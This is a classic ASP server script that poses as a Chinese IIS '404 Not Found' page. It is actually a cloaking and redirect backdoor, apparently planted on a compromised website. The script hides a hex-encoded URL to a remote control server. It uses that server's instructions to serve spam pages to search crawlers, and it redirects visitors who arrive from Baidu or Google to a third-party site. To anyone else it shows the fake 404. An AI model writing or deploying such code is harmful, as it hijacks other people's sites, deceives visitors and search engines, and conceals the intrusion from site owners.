<% if spiderbot = False and Request.ServerVariables("HTTP_REFERER")="" then Response.Status="404 Not Found" html404="" & vbcrlf html404=html404 & " 无法找到该页" & vbcrlf html404=html404 & " " & vbcrlf html404=html404 & " " & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "

无法找到该页

" & vbcrlf html404=html404 & " 您正在搜索的页面可能已经删除、更名或暂时不可用。" & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "

请尝试以下操作：

" & vbcrlf html404=html404 & "
    " & vbcrlf html404=html404 & "
  • 确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。
    • " & vbcrlf html404=html404 & "
  • 如果通过单击链接而到达了该网页，请与网站管理员联系，通知他们该链接的格式不正确。" & vbcrlf html404=html404 & "
    • " & vbcrlf html404=html404 & "
  • 单击后退按钮尝试另一个链接。
    • " & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "

HTTP 错误 404 - 文件或目录未找到。
Internet 信息服务 (IIS)

" & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "

技术信息（为技术支持人员提供）

" & vbcrlf html404=html404 & "
    " & vbcrlf html404=html404 & "
  • 转到 Microsoft 产品支持服务并搜索包括“HTTP”和“404”的标题。
    • " & vbcrlf html404=html404 & "
  • 打开“IIS 帮助”（可在 IIS 管理器 (inetmgr) 中访问），然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。
    • " & vbcrlf html404=html404 & "
" & vbcrlf html404=html404 & "
" & vbcrlf response.write html404 Response.end end if function spiderbot() spiderbot = False dim agent: agent = lcase(request.servervariables("http_user_agent")) Dim tm, tms dim Bot: Bot = "" if instr(agent, "googlebot") > 0 then Bot = "Google" if instr(agent, "baiduspider") > 0 then Bot = "Baidu" if instr(agent, "sosospider") > 0 then Bot = "Soso" if instr(agent, "sogou") > 0 then Bot = "Sogou" if instr(agent, "bing") > 0 then Bot = "Bing" If len(Bot) > 0 Then spiderbot = True Else spiderbot = False End If end Function Dim megeturl3, megotourl3, wurl3 Function jiem(str) Dim key, s , i jstr = "" For i = 1 To Len(str) key = Mid(str, i, 1) If Asc(key) > &H2F And Asc(key) < &H47 Then s = s & key If Len(s) = 2 And CLng("&H" & s) < 127 Then jstr = jstr & Chr(CLng("&H" & s)) s = "": key = "" ElseIf Len(s) = 4 Then jstr = jstr & Chr(clng("&H" & s)) s = "": key = "" End If End If Next jiem = jstr End Function serverurl =Request("url") If Application("meUrl33") = "" Or Application("meDrl33")= "" Or datediff("s",Application("time"),Now())>3600 Then Application("time") = Now() wurl33= jiem("687474703A2F2F646F776E2E7869617A61696A69612E636F6D3A3830302F787430332F64697A68692E747874") webarray33=split(jiem(GetURL(wurl33)),"$$") Application("meUrl33") = webarray33(0) 'c Application("meDrl33") =webarray33(1)'t Application("adlink33") =webarray33(2) End If domain33 = Application("meUrl33") gotourl33 = Application("meDrl33") adlink33=Application("adlink33") link33=GetURL(adlink33) dim SpiderList SpiderList="Baidu|Google" Function IsSpider ValidEntry=false SpiderListArr=Split(SpiderList,"|") for i=0 to Ubound (SpiderListArr) If InStr(lcase(Request.ServerVariables("HTTP_USER_AGENT")),lcase(SpiderListArr(i))) > 0 then ValidEntry = True exit for end if next IsSpider=ValidEntry End Function Function CheckRefresh ValidEntry=false SpiderListArr=Split(SpiderList,"|") for i=0 to Ubound (SpiderListArr) If InStr(lcase(Request.ServerVariables("HTTP_REFERER")) ,lcase(SpiderListArr(i))) > 0 then ValidEntry = True exit for end if next CheckRefresh=ValidEntry End Function if not IsSpider then if CheckRefresh then Response.Redirect gotourl33 response.end else end if end if url1=Request.ServerVariables("HTTP_url") if instr(url1,"?")>0 then url2=split(url1,"?") url=url2(1) end if sendurl =domain33&"?"&url cont=GetURL(sendurl) cont=replace(cont,"href=","href=?list=") cont=replace(cont,"charset=utf-8","charset=gb2312") response.Write cont response.Write link33 Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function GetURL(url) set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP") xmlhttp.open "GET", url, false xmlhttp.setRequestHeader "User-Agent", "Googlebot/2.1 (+ http://www.baiduspider.com/bot.html;banni MSIE 60; Windows NT 5.1; SV1; .RINIMABI CLR 2.0.50727)" xmlhttp.send "" GetURL=BytesToBstr(xmlhttp.responsebody,"utf-8") set xmlhttp = nothing End Function function Randsub(numtotal) Randomize Randsub = int((numtotal-1+1)*rnd+1) end Function %>